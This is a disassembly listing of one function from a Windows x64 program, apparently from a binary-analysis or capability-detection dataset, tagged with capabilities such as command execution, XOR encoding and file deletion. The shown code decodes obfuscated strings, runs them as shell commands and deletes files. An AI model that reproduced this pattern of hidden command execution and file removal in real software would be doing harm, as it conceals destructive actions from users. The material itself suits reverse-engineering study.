Function at 0x7ff6bb008600
Capabilities:
Delete file
Encode data using xor
Execute command
Hide graphical window
Print debug messages

Disassembly:
push rbp
lea rbp, [rsp - 0x15d40]
mov eax, 0x15e40
call fcn.7ff6bb0318b0
sub rsp, rax
mov rax, qword [0x7ff6bb0bb010]
xor rax, rsp
mov qword [rbp + 0x15c70], rax
call fcn.7ff6bb000af0
test eax, eax
jne 0x7ff6bb00863b
mov eax, 0xffffffff
jmp 0x7ff6bb012be5
mov qword [rsp + 0x15e50], rbx
lea rdx, [0x7ff6bb0a32d0]
lea rcx, [rbp + 0x1600]
mov qword [rsp + 0x15e38], r12
call fcn.7ff6bb018900
lea rcx, [rbp + 0x1600]
call fcn.7ff6bb0184b0
mov rcx, rax
lea rdx, [0x7ff6bb0a276c]
call qword [sym.imp.ucrtbase.dll__popen]
mov rbx, rax
test rax, rax
jne 0x7ff6bb0086ae
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x7ff6bb0a3300]
call fcn.7ff6bb01b580
lea rdx, [0x7ff6bb01b960]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r12d, [rbx + 1]
jmp 0x7ff6bb012bc6
mov qword [rsp + 0x15e58], rsi
lea rdx, [0x7ff6bb035f0e]
mov qword [rsp + 0x15e60], rdi
lea rcx, [rbp + 0x1398]
mov qword [rsp + 0x15e30], r13
mov qword [rsp + 0x15e28], r14
movaps xmmword [rsp + 0x15e10], xmm6
call fcn.7ff6bb018900
mov rcx, rbx
call qword [sym.imp.ucrtbase.dll_feof]
test eax, eax
jne 0x7ff6bb00875a
nop word [rax + rax]
mov r8, rbx
lea rcx, [rbp + 0x2350]
mov edx, 0x80
call qword [sym.imp.ucrtbase.dll_fgets]
test rax, rax
je 0x7ff6bb00874d
lea rax, [rbp + 0x2350]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff6bb008730
lea rdx, [rbp + 0x2350]
lea rcx, [rbp + 0x1398]
call fcn.7ff6bb01a410
mov rcx, rbx
call qword [sym.imp.ucrtbase.dll_feof]
test eax, eax
je 0x7ff6bb008700
mov rcx, rbx
call qword [sym.imp.ucrtbase.dll__pclose]
xor r8d, r8d
lea rdx, [0x7ff6bb0a3324]
lea rcx, [rbp + 0x1398]
call fcn.7ff6bb0182f0
cmp rax, 0xffffffffffffffff
jne 0x7ff6bb00879f
xor r8d, r8d
lea rdx, [0x7ff6bb0a332c]
lea rcx, [rbp + 0x1398]
call fcn.7ff6bb0182f0
cmp rax, 0xffffffffffffffff
je 0x7ff6bb00879f
xor al, al
jmp 0x7ff6bb0087a1
mov al, 1
movaps xmmword [rsp + 0x15e00], xmm7
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x60]
movaps xmmword [rsp + 0x15df0], xmm8
mov byte [0x7ff6bb13fd31], al
mov byte [rsp + 0x60], 0
call fcn.7ff6bb012c20
mov r13d, dword [0x7ff6bb0bb018]
xor edi, edi
mov r10, rax
lea esi, [rdi + 5]
lea r14d, [rdi + 0x1f]
cmp byte [rax + 0x62], dil
je 0x7ff6bb008984
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb008941
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x60
jl 0x7ff6bb008830
cmp r8d, 0x63
jge 0x7ff6bb008984
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x63
jl 0x7ff6bb008950
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_system]
mov edx, 0x110
lea rcx, [rbp + 0x18a0]
call fcn.7ff6bb015bf0
mov r12d, 1
lea rdx, [0x7ff6bb0a3338]
mov r8d, r12d
mov dword [rsp + 0x20], r12d
lea rcx, [rbp + 0x18a0]
lea r9d, [r12 + 0x3f]
call fcn.7ff6bb0160c0
lea rcx, [rbp + 0x18a0]
call fcn.7ff6bb0160b0
test al, al
je 0x7ff6bb008a9f
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb018a60
mov rax, qword [rbp + 0x18a0]
mov dl, 0xa
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x18a0]
add rcx, rax
call qword [sym.imp.msvcp140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x11d8]
lea rcx, [rbp + 0x18a0]
call fcn.7ff6bb01e790
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x7ff6bb008a85
nop word [rax + rax]
lea rdx, [rbp + 0x11d8]
lea rcx, [0x7ff6bb13e2e0]
call fcn.7ff6bb018630
mov rax, qword [rbp + 0x18a0]
mov dl, 0xa
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x18a0]
add rcx, rax
call qword [sym.imp.msvcp140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x11d8]
lea rcx, [rbp + 0x18a0]
call fcn.7ff6bb01e790
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x7ff6bb008a30
lea rcx, [rbp + 0x18a0]
call fcn.7ff6bb016070
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb0186d0
jmp 0x7ff6bb008ac2
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x7ff6bb0a3350]
call fcn.7ff6bb01b580
lea rdx, [0x7ff6bb01b960]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x7ff6bb13e2e0]
call fcn.7ff6bb0183f0
test al, al
jne 0x7ff6bb008ade
lea rcx, [0x7ff6bb13e2e0]
call fcn.7ff6bb0184c0
lea rdx, [rbp + 0x1378]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013070
lea rdx, [rbp + 0x1470]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013140
lea rdx, [rbp + 0x15e0]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013200
lea rdx, [rbp + 0x13e8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb0132c0
lea rdx, [rbp + 0x15c0]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013380
lea rdx, [rbp + 0x1490]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013440
lea rdx, [rbp + 0x15a0]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013500
lea rdx, [rbp + 0x17b8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013780
lea rdx, [rbp + 0x1798]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013a20
lea rdx, [rbp + 0x1778]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013ad0
lea rdx, [rbp + 0x1580]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013b90
lea rdx, [rbp + 0x1560]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013c00
lea rdx, [rbp + 0x1540]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013ce0
mov edx, 0x18
lea rcx, [rbp + 0x1360]
call fcn.7ff6bb015c00
lea rcx, [rbp + 0x1360]
call fcn.7ff6baffbd30
mov edx, 0xa0
lea rcx, [rbp + 0x1698]
call fcn.7ff6bb015c10
xor r8d, r8d
lea rdx, [rbp + 0x1360]
lea rcx, [rbp + 0x1698]
call fcn.7ff6bb01bdc0
lea rdx, [rbp + 0x90]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013d50
mov r10, rax
cmp byte [rax + 0xe], dil
je 0x7ff6bb008dc4
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb008d7f
movdqa xmm2, xmmword [0x7ff6bb0ac370]
mov r8d, 8
movdqa xmm3, xmmword [0x7ff6bb0ac390]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm0, xmm2
mov eax, dword [0x7ff6bb0ac460]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, esi
movd xmm6, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff6bb0ac3a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff6bb0ac3a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x7ff6bb008d90
mov rdx, r10
lea rcx, [rbp + 0x11d8]
mov ebx, 0x53a
call fcn.7ff6baffd990
mov rdx, rax
lea rcx, [rbp + 0x490]
movzx r8d, bx
call fcn.7ff6bb0161d0
mov rdx, rax
lea rcx, [rbp + 0x1698]
call fcn.7ff6bb0162b0
lea r8, [rbp + 0x1560]
lea rdx, [rbp + 0x1580]
lea rcx, [rbp + 0x490]
call fcn.7ff6bb01b220
mov rdx, rax
lea r8, [rbp + 0x1540]
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb01b380
mov rdx, rax
lea rcx, [rbp + 0x1378]
call fcn.7ff6bb018730
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x490]
call fcn.7ff6bb0186d0
lea rcx, [0x7ff6bb0a3370]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013d80
mov r10, rax
cmp byte [rax + 0x1c], dil
je 0x7ff6bb009024
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb008fe1
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x7ff6bb008ed0
cmp r8d, 0x1d
jge 0x7ff6bb009024
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x7ff6bb008ff0
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013db0
mov r10, rax
cmp byte [rax + 0x17], dil
je 0x7ff6bb0091e5
cmp r13d, 2
jl 0x7ff6bb0091ab
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov edx, edi
movdqa xmm5, xmmword [0x7ff6bb0ac370]
mov rcx, rax
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x7ff6bb0090a0
jmp 0x7ff6bb0091e5
mov r9, r10
mov r8d, edi
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x7ff6bb0091b1
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013dd0
mov r10, rax
cmp byte [rax + 0x1a], dil
je 0x7ff6bb0093b4
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb009371
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x7ff6bb009260
cmp r8d, 0x1b
jge 0x7ff6bb0093b4
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x7ff6bb009380
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013e00
mov r10, rax
cmp byte [rax + 0x16], dil
je 0x7ff6bb009584
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb009541
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x7ff6bb009430
cmp r8d, 0x17
jge 0x7ff6bb009584
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x7ff6bb009550
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013e30
mov r10, rax
cmp byte [rax + 0x16], dil
je 0x7ff6bb009754
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb009711
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x7ff6bb009600
cmp r8d, 0x17
jge 0x7ff6bb009754
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x7ff6bb009720
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_remove]
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], dil
lea rcx, [rsp + 0x60]
call fcn.7ff6bb013e60
mov r10, rax
cmp byte [rax + 0x16], dil
je 0x7ff6bb009924
mov r8d, edi
cmp r13d, 2
jl 0x7ff6bb0098e1
movdqa xmm0, xmmword [0x7ff6bb0ac460]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff6bb0ac370]
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, esi
movd xmm8, r14d
nop dword [rax]
nop word [rax + rax]
